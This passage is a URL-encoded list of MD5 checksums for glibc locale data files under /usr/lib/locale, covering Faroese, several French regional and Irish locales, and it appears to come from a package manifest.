O%2FLC_ADDRESS%0A6762009ffdd6a02ff87ec0a0aaa854b7%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A5e70ad92a5ae65b612d0cb25e1c4c0ed%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_TIME%0Ae23584ee568d3f7ce11b7a5014137ffe%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_IDENTIFICATION%0Ae2a5f0a28de57a9c2d06e172c361cab2%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_TELEPHONE%0A8fbeae5221b8182dd44109b2e39dde6c%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_MONETARY%0Afe1eaedb32821ba89ad480235f6f502d%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_COLLATE%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_PAPER%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO.utf8%2FLC_CTYPE%0A9e8cf9be98236c7327c479ea65447570%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Af1863727f328970f83ffc4a7021c69de%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_TIME%0A80fa9015a7a4936ae33866c7ab99afdc%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_IDENTIFICATION%0A5c5d77d112557796ca01e0fe2e7b0ab2%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_TELEPHONE%0A1db58ebffafd13501f0609588ae648d1%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_NUMERIC%0A3f23838cca0f6d2e012971e07afab107%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_MONETARY%0A87cb92850fcaf51615a9f175b05327e1%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_CTYPE%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_MEASUREMENT%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_NAME%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%2FLC_ADDRESS%0A9236c680c7d5ac2fb12821fb3fefcbbb%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A88393b43b3b787839a639c30f96d61a8%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_TIME%0Adf14788f4a30146c06d0c5e135eed823%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_IDENTIFICATION%0Aa320b75a9e07f584d36c1852644a1d22%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_TELEPHONE%0Abd7095905e0a636f05f8da3747490966%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_MONETARY%0A2c90c31372e8d570b0cde46cc5cc8047%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_CTYPE%0Aa914cc86d1ef2e652d22e174e11356eb%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_NUMERIC%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_PAPER%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%2FLC_COLLATE%0A9236c680c7d5ac2fb12821fb3fefcbbb%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A88393b43b3b787839a639c30f96d61a8%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_TIME%0A612f59a9330ef2441ddd155ba5fa27bc%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_IDENTIFICATION%0Aa320b75a9e07f584d36c1852644a1d22%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_TELEPHONE%0A2c90c31372e8d570b0cde46cc5cc8047%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_CTYPE%0Aa914cc86d1ef2e652d22e174e11356eb%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_NUMERIC%0Af56e0578821139a3e6702c141864ca11%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_MONETARY%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_PAPER%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE.utf8%40euro%2FLC_COLLATE%0Ae02b6b73e44db81b08db1252f3e5beb4%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A4fad03f231571241f3ae83a13ba04637%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_TIME%0A85f8aac818b8b7564115e5106e08b529%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_IDENTIFICATION%0A1526b18112e677f93665d4dae53b26fe%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_TELEPHONE%0Adf946a1e58ad3c38c7f494a5c70a7035%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_NUMERIC%0A6634aac84801e2c2871afedc4e258893%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_CTYPE%0A7c2b429421ff8f40dabc003d65d1a00b%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_MONETARY%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_MEASUREMENT%0Ab7d183bf4367f2cfdfe88aa1667a5d5d%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_COLLATE%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_PAPER%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_NAME%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Ffr_BE%40euro%2FLC_ADDRESS%0A570c555a6ff414b4ab5010df8c78b5e8%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A43116894714e57b2d4420f5b02cb14d3%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_TIME%0Ad457e5bc1aae12ef237fc2ba3e203af6%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_IDENTIFICATION%0A2b251a0f4eee63977d28451433ac99a9%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_TELEPHONE%0A43518a942b90c2f2c1f7a08ba0dfed9a%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_MONETARY%0A141801b0574bbedc1fd45739f9075f0a%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_NUMERIC%0A87cb92850fcaf51615a9f175b05327e1%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_CTYPE%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_MEASUREMENT%0A9118f2d9cbd86d541e26fc3b3d39f830%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_PAPER%0A50486fdeaaf50f0eae221630f177418e%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_COLLATE%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_NAME%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA%2FLC_ADDRESS%0Aa7e0cb449d8ff02ad9cb459d8ff881e0%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A87e6ccbb29bf137d9271d04cf6c222d5%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_TIME%0Af78803e60a22dd884123425dc5bee75b%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_IDENTIFICATION%0A6df61b304a18038f9a473bb822993aab%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_TELEPHONE%0Ab2d55cba1d0e45170a418a049c1f6f33%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_MONETARY%0A813cf43c9a4bac34a520abc9066c1c26%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_NUMERIC%0A2c90c31372e8d570b0cde46cc5cc8047%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_CTYPE%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_MEASUREMENT%0Af0ea34926604ccd6562bd37402c9557f%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_PAPER%0A9d73e7869963718b959503acdf6abc52%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Ffr_CA.utf8%2FLC_ADDRESS%0A8ad7d9206a26a895af40544e4e5a6595%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A3105b213716a874160ac2ca74f4f5a2b%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_TIME%0A59e3a2000ae5cb10519688dc43dc6a48%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_IDENTIFICATION%0A1364976beffe21d85038dcea601c1406%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_TELEPHONE%0A87cb92850fcaf51615a9f175b05327e1%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_CTYPE%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_MEASUREMENT%0A45363dab640ad5556e7aa902d46135ee%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_MONETARY%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_NAME%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH%2FLC_ADDRESS%0A874b39f67743244066aa7de2c76a6123%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A919c25ca6ae68fb7a36081e2ced86a32%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_TIME%0Ad819de96125946a8186159eb26f70c6a%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_IDENTIFICATION%0A3d4bee0c4beb5bc7f96ea8489cf2a0c4%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_TELEPHONE%0A2c90c31372e8d570b0cde46cc5cc8047%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_CTYPE%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_MEASUREMENT%0A1f9660ea9082e43e0b4ed2d245d9cbab%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_MONETARY%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_PAPER%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Ffr_CH.utf8%2FLC_COLLATE%0A570c555a6ff414b4ab5010df8c78b5e8%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A83f4d5746b8dc5099ea461973d7e68d1%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_TIME%0A3622246e71760929b9ef0035a9771894%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_IDENTIFICATION%0Abef80905507aed676f17b54760b79c7a%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_TELEPHONE%0A87cb92850fcaf51615a9f175b05327e1%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_CTYPE%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_MEASUREMENT%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_NUMERIC%0Ababe18fb9eae0643a69f8e7848aa9f8b%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_MONETARY%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_NAME%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%2FLC_ADDRESS%0Aa7e0cb449d8ff02ad9cb459d8ff881e0%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A24b688ac0ac610482f47ef60d08c41b6%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_TIME%0Ac280ef8af7ceeb61283a0fdc6e34198a%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_IDENTIFICATION%0A2fe9471ea089c19be5c5dcf760cadc93%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_TELEPHONE%0A8e38d313b8249ff57d2bdf49b1e9e7d9%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_MEASUREMENT%0A2c90c31372e8d570b0cde46cc5cc8047%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_CTYPE%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_PAPER%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%2FLC_COLLATE%0Aa7e0cb449d8ff02ad9cb459d8ff881e0%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A24b688ac0ac610482f47ef60d08c41b6%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_TIME%0A77dfcba6e23d96595809eb94e46f5f92%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_IDENTIFICATION%0A2fe9471ea089c19be5c5dcf760cadc93%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_TELEPHONE%0Ab9f1166f7b0d5316a73f619045f2a83e%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_MEASUREMENT%0A2c90c31372e8d570b0cde46cc5cc8047%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_CTYPE%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_PAPER%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR.utf8%40euro%2FLC_COLLATE%0A9f3e8212c9379027d646b4a483671d54%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A34169d22b61cda7c5631734cfb2c1fb6%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_TIME%0A976ed2ae01ed5396f1eae3f459297287%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_IDENTIFICATION%0A6ba7c7cf7f36d44dc449fd41c8e52eee%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_TELEPHONE%0A50ae7038078ef7f40fdb98a6589b658f%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_MONETARY%0A6634aac84801e2c2871afedc4e258893%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_CTYPE%0Ab7d183bf4367f2cfdfe88aa1667a5d5d%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_COLLATE%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_PAPER%0A1b0d9ccc475b3ee8255f9c7b0bc4aba1%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_NUMERIC%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_NAME%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_MEASUREMENT%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Ffr_FR%40euro%2FLC_ADDRESS%0A570c555a6ff414b4ab5010df8c78b5e8%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A83f4d5746b8dc5099ea461973d7e68d1%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_TIME%0Ac7514825adc921d379063b19b2ec9185%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_IDENTIFICATION%0Ae3f05f0d2781ad01cf95eb2a99973e12%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_TELEPHONE%0A68f63c5bb1cb251fbbee1bb1e14a304b%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_MONETARY%0A87cb92850fcaf51615a9f175b05327e1%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_CTYPE%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_MEASUREMENT%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_NAME%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%2FLC_ADDRESS%0Aa7e0cb449d8ff02ad9cb459d8ff881e0%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A24b688ac0ac610482f47ef60d08c41b6%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_TIME%0Abd0e2fb647310da0bdd6daadf449159e%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_IDENTIFICATION%0Abe1188d8e2ce1d0280b0e2b006d4bf50%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_TELEPHONE%0Ae854c31dbaee3e1c26c089c0b93fdace%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_MONETARY%0A2c90c31372e8d570b0cde46cc5cc8047%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_CTYPE%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_PAPER%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%2FLC_COLLATE%0Aa7e0cb449d8ff02ad9cb459d8ff881e0%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A24b688ac0ac610482f47ef60d08c41b6%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_TIME%0Acf72c4c95e2281859e81f521d19802a2%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_IDENTIFICATION%0Abe1188d8e2ce1d0280b0e2b006d4bf50%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_TELEPHONE%0Ab9f1166f7b0d5316a73f619045f2a83e%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_MONETARY%0A2c90c31372e8d570b0cde46cc5cc8047%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_CTYPE%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_PAPER%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU.utf8%40euro%2FLC_COLLATE%0A9f3e8212c9379027d646b4a483671d54%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A34169d22b61cda7c5631734cfb2c1fb6%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_TIME%0A8773e4d3a7224421ce0280fc9f0d4442%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_IDENTIFICATION%0A51c314e41fdd8fbf4e23e28857221e11%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_TELEPHONE%0A50ae7038078ef7f40fdb98a6589b658f%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_MONETARY%0A6634aac84801e2c2871afedc4e258893%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_CTYPE%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_MEASUREMENT%0Ab7d183bf4367f2cfdfe88aa1667a5d5d%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_COLLATE%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_PAPER%0A1b0d9ccc475b3ee8255f9c7b0bc4aba1%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_NUMERIC%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_NAME%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Ffr_LU%40euro%2FLC_ADDRESS%0A49f48bab50570670989cdaadaeaa2b85%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aafe1879f575da0b36a683aa54c88adda%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_TIME%0Ad04fe03eecaecd6b0554ca2317568662%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_IDENTIFICATION%0A490e86e94d658fa919b179a8df400134%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_TELEPHONE%0A4e85b26e337c74986496b122151a62cb%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_MONETARY%0A5a0d7365ae442bb043e74cf258fcb8ec%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fga_IE%2FLC_PAPER%0A56b7ef56b3